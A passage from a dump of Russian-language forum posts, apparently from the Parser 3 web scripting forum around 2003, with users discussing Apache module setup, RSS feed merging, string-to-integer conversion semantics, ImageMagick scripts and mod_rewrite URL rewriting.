и где надо выводите эти данные столько раз сколько вам нужно (вы пишите, что и там и там работаете фактически с одними и теме-же данными, т.к. указываете одинаковую $table).\
\
не надо бояться оптимизированных запросов (если explain показывает что они замечательно используют индексы, если они простые, если к небольшим табличкам).\
\
сделайте один коннект (на страницу) и в нем 10 простых запросов. все будет работать нормально. на то он и sql сервер, чтобы его использовать.\
\
другое дело, когда приходится делать сложные запросы (насколько join по N большим таблицам, затем куча парсерной работы по формированию html-я). тут нужно думать о том, что и как скешировать. при этом как правило проще [url=\"/examples/cache/\"]скешировать страницу целиком[/url] : кода писать приходится мало, а выигрыш большой и проявляется на всех страницах.\
\
P.S. если хочется пооптимизировать запросы, то можете воспользоваться [url=\"/examples/comp/\"]SQL классами[/url] которые это частично умеют..."
"21227","... взять эту страницу (что с отступом), открыть source, сохранить его в файл и этот файл посмотреть?"
"21229","Устанавливаю Parser как модуль. В httpd.conf добавил строки которые указаны в наставлении. При перезагрузке, сервер выдал ошибку:\"Cannot add module via name 'mod_parser3.C': not in list of loaded modules\"\
\
На строке LoadModule parser3_module е:\\....\\ApacheModuleParser3.dll не остановился, значит, как я понимаю, модуль загрузился удачно.\
\
В чем м.б. проблема?\
\
p.s. Apache 1.3.26"
"21230",">Я вроде делал всё, как надо, но не заработало. А файл mod_parser3.c >нулевого размера.\
\
а где этот файл находится?\
он должен сгенериться? после каких действий?"
"21231","сервер не находит его по той причине что ЕГО НЕТ, я так понимаю.. но откуда ему появиться, если в наставлении не говорится о том, что для установки необходимо скачать еще и исходники.\
\
объясните пожалуйста, что я понял неправильно?"
"21232","1. Как сделать чтобы при нажатии на кнопку \"Отчет для печати\"\
рузультат cgi выводился в новом окне ?\
Увы, вот этот код не в IE 6.0, не в Opera не работает\
<form method=\"post\">\
\
[skipped]\
\
<input type=\"submit\" name=\".submit\" value=\"Создать отчет\" />\
<input type=\"submit\" name=\".submit\" value=\"Отчет для печати\" target=\"_top\" />\
</form>\
\
2. Как по другому красиво решить проблему отображения\
блоков навигации и т.п.\
Я вижу по крайней мере два способа:\
- глобальные переменные\
- cookie (увы мне при отключенных cookie ).\
\
Но как при нажатии кнопки submit переопределить \
глобальную переменную \
\
Сейчас я использую \
$response:body[^file::cgi[/cgi-bin/kassa.pl]]\
но это не очень красивое решение."
"21233","боюсь, в документацию эта деталь по недосмотру ещё не попала."
"21234","Скажите пожалуйста есть ли возможность переложить лог Парсера в\
  каталог отличный от того в котором он лежит по умолчанию? Это\
  конечно не критично, но если есть  такая возможность, я бы ей с\
  удовольствием воспользовался... В документации и в форуме, решения\
  не нашел. Может можно как ни будь в конфигурационном файле указать\
  папку для лога?"
"21235","дело в том, что этот файл никак не ограничен в росте, и специально этим заниматься, когда в системе уже настроена и работает соответствующая схема: неразумно.\
\
вывод: пользуйтесь журналом ошибок веб-сервера.\
для этого достаточно запретить parser писать в cgi-bin/parser3.log любым способом (создать файл, и забрать права в него писать. если такой кнопки почему-то нет в вашем ftp клиенте, просто создайте каталог с таким именем).\
\
журнал ошибок вашего веб-сервера должен быть вам доступен: свяжитесь на эту тему с администратором вашего веб-сервера."
"21236","Это конечно немного не то, что я ожидал \"услышать\", но все равно спасибо за разъяснения. А нужно это просто для порядка на сервере. Привык я делать так что у меня все логи лежат в отведенной для них папке...\
Думаю возможность указывать в конфигурационном файле местоположение лога,  была бы не лишней. Хотя повторюсь, это конечно же не критично :) Интересно как считает общественность?"
"21237","А не проще ли \
<button onclick=\"window.open('for_print.html','print','всяко-разные опции')\">отчет для печати</button>"
"21238","если для Вас критично расположения лога то можно создать парсер3.лог в нужном Вам месте, а рядом с Парсером  положить ссылку на него. А размером файла пусть занимается логротэйт.\
Вот. Только все это, в большинстве случаев, при наличии выставленного пива админу. \
А ежели правда, то вариант  ПАФа 100% подходит без всяких, предложенных мной,  рукоблудий."
"21239","Мне просто стало интересно почему не работает target"
"21240","Если верить спецификации, target у <input... отсутствует (http://www.w3.org/TR/html401/interact/forms.html#h-17.4), зато присутствует у <form... (http://www.w3.org/TR/html401/interact/forms.html#h-17.3 в части \"Attributes defined elsewhere\")."
"21243","я и описал общий способ поддержания такой правильной привычки.\
если предложенные частные варианты не понравились, самое простое: запретить доступ на запись в cgi-bin совсем. по большому счёту: нечего писать именно туда."
"21244","К этому я пришел самостоятельно, еще вчера ночью =) просматривая архив форума, просто стал перебирать различные варианты \"от балды\"..\
\
В общем, Апач у меня запустился.. \
\
Далее посмотрим как все будет работать.. закинутый парсеру на сонную голову код не отпарсирся - отложил до сегодня/затвра.. ждите новых вопросов =)\
\
p.s. а в док это действительно не указано (насчет маленькой \"с\")"
"21245","это отсутствие закрывающего \
[code]</html>[/code]\
...можно предположить, что он удален случайно при копировании в форум. \
Но все равно из приведенных текстов не понять, где теряется <br /> и в XSL ли вообще дело.\
\
Согласен с господином Luzhnikovskiy в том, что можно бы еще посмотреть код результата, мб там просто в HTML-е отображается не так как задумано автором..."
"21246","Не было у бабы забот, так купила порося...\
\
Придумал себе задачку, теперь не знаю, как подступиться. Имеется несколько RSS-ных источников новостей, положим\
\
 - http://www.asiamarketresearch.com/research-news/index.xml [rss 0.91]\
 - http://www.parser.ru/_rss.html [rss 2.0]\
 - http://forum.gfk.ru/forum/rss.html [rss 2.0]\
 - http://register.spectator.ru/txt/export.xml [rss 2.0]\
 - http://p.moreover.com/cgi-local/page?index_marketing+rss [rss 0.91] \
\
В RSS 0.91 структура XML-документа устроена так:\
\
[code]<?xml version=\"1.0\" encoding=\"iso-8859-1\"?>\
<rss version=\"0.91\">\
  <channel>\
    <title>Moreover - moreover...</title>\
    <link>http://www.moreover.com</link>\
    <description>moreover... - news headlines from around the web, refreshed every 15 minutes</description>\
    <language>en-us</language>\
    <item>\
      <title>Kellogg Company names Harris as Chief Marketing and Customer Officer</title>\
      <link>http://c.moreover.com/click/here.pl?r91641939</link>\
      <description>Food Ingredients First Sep 25 2003 3:30AM ET</description>\
    </item>\
    <item>\
      <title>Telemarketers free to plague</title>\
      <link>http://c.moreover.com/click/here.pl?r91635924</link>\
      <description>This Is Money Sep 25 2003 3:04AM ET</description>\
    </item>\
  </channel>\
</rss>[/code]А RSS 2 устроен чуть по другому:[code]<?xml version=\"1.0\" encoding=\"windows-1251\"?>\
<rss version=\"2.0\">\
<channel>\
<title>Forum.GfK.ru - The roundtable of the Russian marketing researchers</title>\
<link>http://forum.gfk.ru/forum/index.html?setdesign=new</link>\
<description>\"Круглый стол исследователей рынка\" на Forum.GfK.ru - место, где общаются маркетологи. Этот форум существует ещё с июня 1999 года и всё это время здесь задают вопросы и получают ответы про то, как проводить маркетинговые исследования, изучать рынки и считать в SPSS.</description>\
<language>ru</language>\
<copyright>Copyright (c) 1997-2003 GfK MR Russia</copyright>\
<managingEditor>Alexander.Bougakov@GfK.ru</managingEditor>\
<webMaster>Alexander.Bougakov@GfK.ru</webMaster>\
\
<ttl>10</ttl>\
<generator>Parser 3.0007 (http://www.parser.ru)</generator>\
<image>\
<title>Forum.GfK.ru</title>\
<url>http://forum.gfk.ru/etc/img/toplogo.jpg</url>\
<link>http://forum.gfk.ru/forum/index.html?setdesign=new</link>\
<width>310</width>\
<height>55</height>\
<description>&quot;Круглый стол исследователей рынка&quot; на Forum.GfK.ru - место, где общаются маркетологи.</description>\
\
</image>\
<item>\
<author>Василий</author>\
<title>рейтинг исследовательских компаний (Василий, Thu, 25 Sep 2003 14:21:46 MSD)</title>\
<pubDate>Thu, 25 Sep 2003 14:21:46 MSD</pubDate>\
<link>http://forum.gfk.ru/forum/message_23789.html</link>\
<guid>23789</guid>\
<comments>http://forum.gfk.ru/forum/postnew.html?reply_to=23789</comments>\
<description>&lt;p&gt;&lt;b&gt;Начало нового обсуждения в форуме &lt;/b&gt;&lt;/p&gt;\
\
Уважаемые, существует ли где-нибудь рейтинг исследовательских компаний ?&lt;br&gt;На форуме я нашел ссылку, но она не работает </description>\
</item>\
<item>\
<author>Algol</author>\
<title>Важность в Conjoint analyse (Algol, Thu, 25 Sep 2003 14:17:12 MSD)</title>\
<pubDate>Thu, 25 Sep 2003 14:17:12 MSD</pubDate>\
<link>http://forum.gfk.ru/forum/message_23788.html</link>\
<guid>23788</guid>\
<comments>http://forum.gfk.ru/forum/postnew.html?reply_to=23788</comments>\
\
<description>&lt;p&gt;&lt;b&gt;Начало нового обсуждения в форуме &lt;/b&gt;&lt;/p&gt;\
При проведении conjoint analyse получается следующая ситуация:&lt;br&gt;Важность (importance) некого дискретного фактора &lt;br&gt;&lt;b&gt; в целом &lt;/b&gt; получается ниже, чем важность того же фактора &lt;br&gt;&lt;b&gt; в подгруппах &lt;/b&gt; выборки.&lt;br&gt;Например, у мужчин важность фактора A = 70%, у женщин = 72%, а в целом, для всех респондентов, важность A = 60%.&lt;br&gt;&lt;br&gt;Чисто математически, такая ситуация объяснима, но какое физическое объяснение такой парадоксальной ситуации?&lt;br&gt;&lt;br&gt;Спасибо за ответ.</description>\
\
</item>[/code]Элементы\
\
RSS -> Channel -> Title\
RSS -> Channel -> Description\
RSS -> Channel -> Item\
RSS -> Channel -> Item -> Title\
RSS -> Channel -> Item -> Description\
RSS -> Channel -> Item -> Link\
\
- всё это совпадает.\
\
Вы ещё читаете? Спасибо.\
\
Собственно, теперь о моей проблеме. Я хочу постоить что-то типа френдленты в LiveJournal, но не знаю, как подступиться. Ясное дело, надо выкачивать эти RSS'ки и разбирать, выцепляя упомянутые элементы, но как это лучше сделать? -\
\
Во-первых, вопрос с кодировками. У кого-то RSS выдаётся в кодировке windows, у кого-то - в UTF.  Как скрестить ужа с ежом?\
\
Во-вторых, непонятно, как поступать с различиями 0.9 и 2.0 - у одного дата для каждой записи выдаётся, у другого - нет. Как сливать вместе в одну ленту <item>'ы отттуда и оттуда? Делать две ленты - одну для новой версии RSS, другую - для старой?\
\
Вот. Посоветуйте что-нибудь..."
"21247","не подтверждаю правоту. всё всегда проверялось. пока не понял проблему.\
и не смог найти по приводимому адресу. увы, он непостоянен :(\
\
если у кого подобное ещё всплывёт, буду разбираться."
"21248","пробую в 3.1.0, взятой с сайта под win [и отдельно какой-то близкой к лежащей на сайте скомпилённой под unix].\
[code]\
Производитель фотоаппарата, модель: Canon Canon PowerShot G3\
Время съемки: 2003-09-14 00:20:15\
Выдержка: 0.125 секунды\
Диафрагма: F2.8\
Использовалась вспышка: да\
[/code]\
\
версия parser=?  [помню в 3.1.0 чинил какие-то мелочи]"
"21249","работает ли оператор ^cache в методе postprocess? У меня почему-то всегда:\
\
exception in request exception handler: Exception 0xC0000005 at 0x00000000"
"21250","Если до postprocess был вызов ^cache мистика какая-то"
"21251","1. \"Тяжелый\"\
Создаем страницу, которая будет забирать один RSS согласно параметрам в GET.\
Через GET передавать URL, версию RSS и кодировку.\
Эта страница выставляет $request:charset в то, что попросили, парсит полученный XML в некий унифицированный стандарт и отдает в, допустим, windows-1251.\
Создаем страницу \"с френдлентой\", которая нужное число раз забирает по HTTP \"well-formed\" XML из разных источников.\
++: Актуальность\
--: Пачка вложенных HTTP GET.\
\
2. \"Заторможенный\"\
Та же страница, что и в первом случае по крону ходит на сайты и складывает результат в файл/базу/куда еще, а \"френдлента\" легко и быстро читает готовенькое.\
++: Нет вложенности\
--: Запаздывание на период в cron"
"21252","А как свести воедино items, у коорых есть дата и нет оной? Как выстроить их в логическую последовательность?"
"21254","Но, moreover отдает дату среди прочего в item/description, а asiamarketresearch отдает дату последнего сообщения в channel/pubDate.\
И если с первым все просто, то второй все-таки склоняет чашу весов ко второму подходу. Думается мне, что чаще чем раз в 15 минут они не обновляются и крон потянет спокойно.\
\
Более того, можно и объединить эти подходы и что-то забирать \"налету\" (например, обновление форума на GfK), а что-то через \"перевалочный пункт\" - тут все зависит от того, насколько важна оперативность представления информации. А можно просто поиграться с периодами в кроне - что-то забирать чаще, что-то реже..."
"21255","В таком тестовом файле:\
[code]\
@content[]\
$result[куда не кинь, ]\
\
@postprocess[strBuffer]\
$result[^cache[^math:md5[$request:uri]](10){^tipografika[$strBuffer]}]\
\
@tipografika[strBuffer]\
$result[${strBuffer} всюду клин]\
[/code]\
Это дело не воспроизводится, - тут даже названия методов взяты из реального кода, только выкинуто все ненужное чтобы не загромождать это дело ненужными деталями, а показать логику работы. А в реальном коде ничего не работает. Весь реальный код, вам приводить не имеет смысла, - потому как в нём утонуть можно :)\
\
Чо делать пока незнаю, подумаю как это дело попроще воспроизвести."
"21256","можно еще ходить на них HEAD'ом и смотреть Last-Modified, который сверять с записью в базе."
"21257","Тогда найдется блок, в котором рождается ошибка... Глядишь, не в ^cache дело."
"21258","это обращение по нулевому адресу. GPF.\
не должно быть ни при каких ошибках в коде на parser'е."
"21259","Саша, спасибо за самодокументацию, имхо, очень грамотно!"
"21260","Установил Парсер 3.1, как модуль апача.\
В httpd.conf были добавлены следующие строки:\
LoadModule parser3_module e:/.../ApacheModuleParser3.dll\
# добавление модуля к списку\
# активных модулей\
AddModule mod_parser3.c\
#\
# для работы Parser'a\
# назначение обработчиком html страниц\
AddHandler parser3-handler .html .htm\
\
# задание конфигурационного файла\
ParserConfig e:\\programm.ing\\internet\\parser\\bin\\auto.p\
\
# запрет на доступ к .p файлам\
<Files ~ \"\\.p$\">\
Order allow,deny\
Deny from all\
</Files>\
\
\
В результате сервер запускается нормально.\
Скачал test.zip с этого сайта, скинул на \"сайт\", запустил. Получил сообщение что в качестве обработчика документов парсер не установлен.\
\
Что я сделал не так или забыл сделать?"
"21262","но в тредах (и в ФАКу) описываются проблемы с использованием CGI-версии парсера.."
"21263","почему код\
[code]\
$test[1.0]\
^test.int(0)\
[/code]\
\
возвращает 0\
мне кажется это баг.\
\
как же мне выполнять тогда преобразования без потери данных?"
"21264","Потому, что это не число, а строка...\
но \
\
[code]$test[1.0]\
^test.double(0)[/code]\
\
вернет [b]1[/b]"
"21266","Ибо согласно документации должно быть:\
[quote]При преобразовании вещественного числа к целому производится округление.[/quote]\
\
В модуле pa_string.C для преобразования применяется стандартная функция [i]strtol[/i], а она не производит никаких округлений - сразу выдает ошибку, как встречает в строке точку.\
\
Патчик: :)\
[code]\
int String::as_int() const { \
	int result;\
	const char *str=cstr();\
\
	while(*str && isspace(*str))\
		str++;\
	if(!*str)\
		return 0;\
\
	char *error_pos;\
	// 0xABC\
	if(str[0]=='0')\
		if(str[1]=='x' || str[1]=='X')\
			result=(int)(unsigned long)strtol(str, &error_pos, 0);\
		else\
			result=(int)round(strtod(str+1/*skip leading 0*/, &error_pos));\
	else\
		result=(int)round(strtod(str, &error_pos));\
\
	while(char c=*error_pos++)\
		if(!isspace(c))\
			throw Exception(\"number.format\",\
				this,\
				\"invalid number (int)\");\
\
	return result;\
}\
[/code]"
"21267","вы приводите правильный конфиг. могу только предположить что кто-то перебил ваше задание обработчика.\
т.е. после вашего\
[code]\
AddHandler parser3-handler .html .htm\
[/code]\
кто-то сделал AddHandler или AddType <что-то другое> .html"
"21268","здесь никакого вещественного числа нет. есть строка.\
[code]\
$test[2*5]\
^test.int(0)\
[/code]\
сколько должен вернуть? предлагаю вернуть ему 10 :)"
"21269","Правда там ещё нужно кое-чего доделать, например кто где используется, но это to do, надеюсь недалёкое, а вообще как получится."
"21270","[code]\
$test[1.2]\
^test.int[]\
[/code]\
\
Если верить документации, то 1. Реально - exception..."
"21271","это с какого перепугу тут должно быть 1? Покажите мне это место в документации?"
"21272","[quote]\
[b]int, double. Преобразование строки к числу[/b]\
\
^строка.int[]  \
^строка.int(значение по умолчанию)  \
^строка.double[]  \
^строка.double(значение по умолчанию)\
\
Преобразуют значение переменной $строка к целому или вещественному числу соответственно, и возвращает это число. [b]При преобразовании вещественного числа к целому производится округление.[/b]\
[/quote]\
\
http://www.parser.ru/docs/lang/?stringintdouble.htm"
"21273","любой другой язык программирования, включая разные mysql-и \
вернут единицу\
\
это устоявшееся понятие программирование\
\
иначе я вообще не пойму нафиг нужно ^int()"
"21274","Большинство языков как раз сообщат об ошибке - поскольку не могут преобразовать число, содержащее недопустимые символы. Особенно в языках со строгой типизацией."
"21275","Читал я это и что?\
\
Вы может скажете чем это отличается от того что описано тут http://www.parser.ru/forum/?id=21263 ?\
\
Для int 1.2 это строка и преобразования типов не делается, для double число и они имеют место быть."
"21276","низкоуровневый язык программирования Си вернёт единицу\
[code]\
int c = atoi(\"1.2\");\
[/code]\
\
mysql тоже так сделает, перл тоже так сделает.\
\
о каких языках программирования вы тогда говорите?"
"21277","в смысле от double (строка в приводимой переменной выглядит как double) к int"
"21278","С позволяет делать неявные преобразования типов, что ведёт к снижению надёжности программ и такому хорошо известному эффекту как срезка информации."
"21280","я явно вызываю функцию функцию преобразования строки в число\
и это по вашему является не безопасно...\
\
тогда предлагаю за taint, untaint руки рубить... :-)"
"21281","Например, используемая в Парсере, strtol возвратит именно ошибку, а atoi просто не выполняет никаких проверок - что преобразовала, то и преобразовала...\
\
Хотя я безусловно согласен, что в нашем случае лучше иметь именно округление, а не ошибку. Тем более, что во многих случаях Парсер и так производит не явное преобразование типов..."
"21282","Возможно имелось ввиду что строка в ^строка.int[] уже double но не string"
"21283","доказано, что преобразования типов, часто не приводят ни к чему хорошему и то что в парсере нет таких неявных преобразований - строка имеющая вид double преобразуется в int с округлением это только плюс ему."
"21284","> Хотя я безусловно согласен, что в нашем случае лучше иметь именно округление\
\
это скрытое преобразование типов и это очень это опасно"
"21285","что ж мне числа в базе хранить как строки?\
\
почётно, самый универсальный типа это строка... предлагаю, оставить только строки, а остальное всё снести!"
"21288","Просто в каждом конкретном случае делать нужное преобразование или int или double - когда вы явно управляете, меньше шансов что получите не то что ожидаете."
"21290","при получении единицы в:\
[code]\
$test[1.0]\
^test.int(0)\
[/code]\
Парсер, согласно Сумо должен сделать следующее:\
\
string -> double -> int\
\
Но ведь по форме записи нельзя догадаться что тут делается double -> int поэтому это вредно\
\
Лучше уж так:\
[code]\
$test[1.0]\
$test(^test.double(0))\
^test.int(0)\
[/code]\
Здесь всё явно"
"21291","Есть 2 варианта:\
- округление до целого в меньшую сторону\
- округление до целого в большую сторону \
Я подразумеваю 1-й, Вася Пупкин второй, кроме того, по форме записи 1.0 нельзя догадаться что из этой строки нужно будет получить именно целое а не вещественное число."
"21292","...round(2.5) крайне не однозначная и опасная операция, и ее надо вобще из языка исключить. :)\
\
Есть единственная опасность преобразования double -> int: возможность возникновения в последующих операторах ошибки \"деление на ноль\". Но это самое \"деление на ноль\" как раз должно обрабатываться явно в коде: [code]^if($i != 0){$res(100/$i)}{Такого не бывает}[/code]"
"21293","округление ОБЫЧНО всегда происходит в меньшую сторону...\
\
в большую обычно округляется специальными функциями...\
\
парсер и тут исключение, что может округлить и в меньшу и в большую... проявляет на мой взягляд излишний ум  :-)"
"21294","речь идёт о .int а не round вы просто меняете тему. \
\
^math:round(число) это совсем другая операция для которой в доке есть своё описание - округление до ближайшего целого, здесь всё ясно и понятно, - правила округления в математике очень четкие и однозначные и по форме записи мы видим что делается.\
\
Если коротко:\
\
int - приведение типа\
round - математическая операция\
\
И то, что в парсере есть жесткие правила приведения типов это плюс."
"21295","Вася Пупкин и я необычные люди (я бы даже сказал необычайные) :) Ладно, давайте завязывать с этим спором - всё равно все останутся при своих мнениях."
"21296","формат рулит\
\
но ему сносит башню если пользователь не правильно ввёл число\
[code]\
$var[1000..22]\
$var(^var.format[%.4f]/32.2)\
$var\
[/code]\
\
или так\
[code]\
$var[1000.22h]\
$var(^var.format[%.4f]/32.2)\
$var\
[/code]\
\
вопрос как сделать чтобы не сносило?"
"21297","Не могу запустить Парсер под Zeus (веб-сервер такой).\
Похоже что он не поддерживает \
\
AddHandler parsed-html .html\
Action parsed-html /cgi-bin/parser3.cgi\
\
Кто-нибудь сталкивался с такой проблемой?\
Как его победить?"
"21298","[code]\
  $test[12313.842349209]\
  '^test.double[]'<br>\
\
  $test[123138.42349209]\
  '^test.double[]'<br>\
\
  $test[1231.3842349209]\
  '^test.double[]'<br>\
[/code]\
\
Есть еще и ограничение на тип double у процессора...\
\
p.s. Жаль, Александр, что Вы не поняли о чем речь... :)"
"21299","[code]\
$var[1000..22]\
^var(^var.double(0))\
$var(^var.format[%.4f]/32.2)\
$var\
[/code]\
Вместо нуля можно чего угодно писать по умолчанию"
"21300","Конечно string -> double -> int одной операцией - это удобно, но если подходить очень строго - это неправильно.\
\
> Есть еще и ограничение на тип double у процессора...\
\
Это совсем другая история :) (я надеюсь)"
"21301","[code]\
$var[1000..22]\
^var(^var.double(0))\
$var(^var.format[%.4f]/32.2)\
$var\
[/code]\
\
ошибка\
\
is 'string', not a method or junction, can not call it"
"21302","Я ведь могу ошибаться? :):\
[code]\
$var[1000..22]\
$var(^var.double(0))\
$var(^var.format[%.4f]/32.2)\
$var\
[/code]"
"21303","ну тоже вариант, хоть без эксепшенов :-)"
"21304","По-моему, так это самый правильный вариант - да длинно и может быть неудобно, однако тут видно что делается и исключает неявные преобразования типов."
"21305","освоил тут Image Magick прикольная весчь!\
perl работает сам по себе, а вот из parsera не хочет запускаться.\
пробую дома на winXP всё это раззадорить.\
[code]\
#exec.html\
############\
@main[]\
\
$f[^file::exec[image.pl]]\
	\
Result:<br>\
$f.text\
[/code]\
а его хочу запустить:\
[code]\
#image.pl\
#!g:\\Perl\\bin\\Perl.exe\
use Image::Magick;\
$w = 290; \
my($image, $x); \
$image = Image::Magick->new;  \
$x = $image->Read(\"photo.jpg\"); \
($width,$height)=$image->Get('base-columns','base-rows'); \
$h=int(($w/$width)*$height); \
$image->Resize(geometry=>geometry, width=>$w, height=>$h); \
$image->Annotate(	text=>'www.parser.ru',\
					font=>'arial',\
					fill=>'#ffffff',\
					pointsize=>'10',\
					antialias=>'true',\
					X=>10,\
					Y=>int($h-5)\
				);\
$x = $image->Write(\"photo2.jpg\"); \
print \"Content-Type: text/html\\n\\n\";\
print \"perl script ok....\";\
[/code]\
\
оба лежат в корне /\
\
чето я уже запарился, не работает и всё помогите!"
"21306","Сообщать вам если снова отловлю?"
"21307","[code]^var.int(^var.double(0))[/code]"
"21308","$f.text картинку не выведет - просто мусор высыпет..."
"21309","не должен он картинку выводить.\
должен выдать parser'у как я понял из доки:\
\
perl script ok....\
\
но трабла в том что он вообще не выполняется, не появляется photo2.jpg.\
\
А на экран вываливает:\
\
Result:\
\
"
"21310","так даже лучше - наглядно видно как идёт преобразование типов."
"21311","Т.Е. если оставить такой скрипт\
[code]\
#!g:\\Perl\\bin\\Perl.exe\
print \"Content-Type: text/html\\n\\n\";\
print \"perl script ????????....\";\
[/code]"
"21313","не от корня веб пространства, а от корня всего диска.\
Хотя в моем случае срабатывает и относительный путь."
"21314","Здраствуйте, господа.\
Хочу вот разъяснить для себя один момент.\
Сколько я не смотрел работы, например, студии Лебедева, всега ссылки внутри сайта вида директория1\\директория2\\директория3\\. Т.е., например, если это новости, то будет site.domain\\news\\2003\\09\\26\\ , а не site.domain\\?year=03&month=09&day=26.  Дико хочу научится так делать, но в корне не понимаю как это работает (остается, конечно, вариант, что все эти папки существуют, но меня терзают какие-то сомнения.).\
Согласен даже на RTFM, только пните в ту сторону :]"
"21316","^строка.int[] преобразует не вещественное число преобразует строку.\
выделенный жирным фрагмент к этому методу int не относится [обычный copy/paste bug, сотру].\
\
и я по прежнему не понимаю, почему буквы в строке вы называете «вещественным числом». они являются числом только в воображении. и чтобы они перестали быть строкой и стали числом и нужны эти методы. \
вам нужен округлённый double? \
1. получите double\
2. округлите\
пока же у вас только [b]string[/b]."
"21317","http://spectator.ru/technology/php/user_friendly_urls"
"21318","Радости моей нет предела. Спасибо огромное.\
П.С. Утонул в море вариантов. Как же лучше сделать, приминительно к среднестатическому хостеру типа Валуйхоста и etc. ?"
"21319","1. По крайней мере ошибку в документации нашли.\
\
2. Мне все-таки кажется, что для Парсера преобразование в int через double более безопасно поскольку позволяет не получать ошибки при преобразовании чисел вида 1.0, которые, по большому счету, являются целыми числами. Причем скорее всего надо не округлять числа, а просто отбрасывать дробную часть [trunc], чтобы не возникало неоднозначности, тогда мы получем совершенно четкие правила преобразования типов.\
\
3. Плодить же неочевидные конструкции вида ^string.int(^string.double[]) явно нет необходимости."
"21321","о том, что есть возможность переопределения AddHandler, но т.к. я не являюсь профессионалом в настройке Апач я не мог быть в этом уверен..\
\
Большое Вам спасибо за Ваше предположение.. попробую оттолкнуться именно от этого.."
"21322","Доброго и приятного.\
Народ, помогите, пожалуйста, решить такую задачку:\
У меня есть html-файл с картинкой и ссылкой. Нужно, чтобы при переходе по ссылке грузился тот же самый файл, но уже с другой картинкой. Приэтом, путь в окне браузера должен остаться прежним. Как можно это сделать методами Парсера или JavaScript?"
"21323","Если страница статическая, то:\
[code]<script language=\"javascript\">\
<!--\
Если\
document.referrer\
=\
document.url\
То\
Показать другую картинку\
//-->\
</script>\
[/code]\
\
А если генерится скриптом, то проверять можно\
[code]HTTP_REFERRER[/code]\
\
Ссылку в файле нужно делать на самого себя, тогда и путь в броузере будет тот-же :)"
"21324","Народ, подскажите плзз, как собрать парсер как cgi-скрипт из исходников под FreeBSD"
"21325","Unhandled Exception\
post_size(0) != content_length(75)"
"21326","post_size(0) Может хдесь ошибка ^post_size(0)\
или если сравниваем текстовую строку то может\
post_size(0) ne content_length(75)\
\
ps: Я могу ошибатья, но вижу это именно так."
"21327","дело вот в чем:\
на хостере подобная конфигурация mod_rewrite\
впадает в цикл, по всей видимости [L] - last rule, совсем не last,\
а проболжает обработку по кругу, т.е. попоадает почему-то на строку с обрезкой html.\
Попытался решить проблему след. образом:\
редирект не на index.html, а на index.p3\
после чего получил нормальный redirect, а после post из формы на html вышеописанный баг (см .http://www.parser.ru/forum/?id=21325)\
[code]\
## обрезка html\
RewriteCond	%{REQUEST_URI}	\\.html\
RewriteRule (.*)/(.*)\\.html(.*)	/$1$3&method=$2	[PT]\
\
\
RewriteCond %{REQUEST_FILENAME} !\\.(gif|jpg|jpeg|png|css|js|cgi)$ [NC]\
RewriteCond %{REQUEST_FILENAME} !-d\
RewriteCond %{REQUEST_FILENAME} !-f\
\
RewriteCond	%{REQUEST_URI}	^/admin/\
RewriteRule ^admin/(.+) admin.html?uri=/$1 [QSA,L]\
\
\
\
\
RewriteCond %{REQUEST_FILENAME} !\\.(gif|jpg|jpeg|png|css|js|cgi)$ [NC]\
RewriteCond %{REQUEST_FILENAME} !-d\
RewriteCond %{REQUEST_FILENAME} !-f\
\
RewriteRule	^(.*)$	index.html?uri=/$1 [QSA,L]\
[/code]"
"21328","Чёта не удаётся с помощью ^process[контекст]{код} выполнить код для каждого узла. Вот исходник:\
[code]@inner_bypass[node;code][node_list]\
  ^process[$caller.self]{$code}\
  $node_list[^node.select[*]]\
  ^node_list.foreach[key;node]{\
    ^inner_bypass[$node;$code]\
  }[/code]\
А вот собссно что хотел с каждым узлом делать:\
[code]^inner_bypass[$xmldoc]{$node.nodeName}[/code]\
здесь node - это узел документа. Если смотреть по контексту то этот node должен ссылаться на одноимённый входной параметр @inner_bypass."
"21330","Долго искал ответ на этот вопрос в форуме, потому, что помню, что как-то случайно на него наткнулся, но к сожалению нигде не отметл себе номер сообщения. Писал кажеться Luzhnikovskiy.\
\
Так вот:\
проблема в том, что в документации этот код (из 2 урока)\
[code]\
^if($sections.uri eq $request:uri){ \
   ...\
}{ \
   ...\
}\
[/code]\
подходит только для того случая когда у нас в адресной строке адрес например /forum/\
а вот если адрес /forum/index.html то в меню навигации текущий раздел представлен как ссылка на самого себя.\
\
В принципе у меня уже есть идеи как этого избежать, но код получается (как мне кажется) великоват и моя идея мне не очень нравиться.\
\
Если у кого уже есть какие-то наработки в этом плане, поделитесь пожалуйста если не секрет.\
А ещё ну очень хочется увидеть, что писал Luzhnikovskiy.\
\
Заранее благодарю."
"21331","не таким ...\\product\\?cat=5&group=8, а например таким \\product\\cat5group8.html, чтоб адрес выглядел по-человечески.\
Подскажите, что для этого надо. Как делать."
"21332","Спасибо. Буду пытаться внедрить."
"21333","Ибо из [b]?cat=5&group=8[/b] гораздо легче и быстрее выделить нужное, чем из [b]cat5group8.html[/b].\
\
Сравните полчение категории и группы.\
\
Первый случай:\
[code]\
$cat[&form:cat]\
$group[&form:group][/code]\
\
А вот во втором случае вам уже прийдется получать имя файла и резать его, что, конечно, дольше.\
\
К тому же, если вся информация по продуктам будет лежать в БД, то зачем тогда разводить тучу файлов?! Не проще ли обойтись одним?!\
\
P.S. Недавно написал для Интранета Live Journal, так вот там адрес доходит до такого: [i]?y=2003&m=09&d=15&w=1&a=UserNick[/i]. Но никто не жалуется."
"21334","Я не делал этого, но думал \
самое оптимальное что я надумал:\
1. Со считать количество символов в правильном uri\
2. Отбросить от полученного uri \"лишние\" символы(взять первые символы в количестве имеющихся в правильном uri)\
3. Если полученный uri eq правильный uri то true, нет else\
\
ps: Я мало того что ламер, да ещё и пьян. Так что, сори, если сморозил глупость ;)"
"21335","Хотелось бы видеть в определенном месте на сайте информацию о том, что нового PAF пофиксил в исходниках, что нового Misha внедрил в форум, какие новые сайты добавлены во \"в действии\". Вообщем, все те события, которые не тянут до новостей, но, в то же время, достаточно важны и/или интересны. Туда же можно отнести и все изменения раздела \"скачать\".\
\
Было бы здорово! :)"
"21336","Даже позволю себе процитировать :)\
 	  [quote]\
 	  in \"/каталог/\" \
 	  \
 	  Возвращает результат \"истина/ложь\" в зависимости от того, находится ли текщий документ в указанном каталоге. \
 	  [/quote]"
"21337","Эта тема обсуждалась пару дней назад, вобщем для себя я отметил ссылку:\
\
http://spectator.ru/technology/php/user_friendly_urls"
"21338","Cvsweb (хотя-бы) был бы полезен имхо."
"21339","Не могу понять, в чем дело: \
вызываю \
[code][$info_hash.[$cookie:session_key].session_nick][/code] - все работает. Показывает [nick]. А когда вызываю\
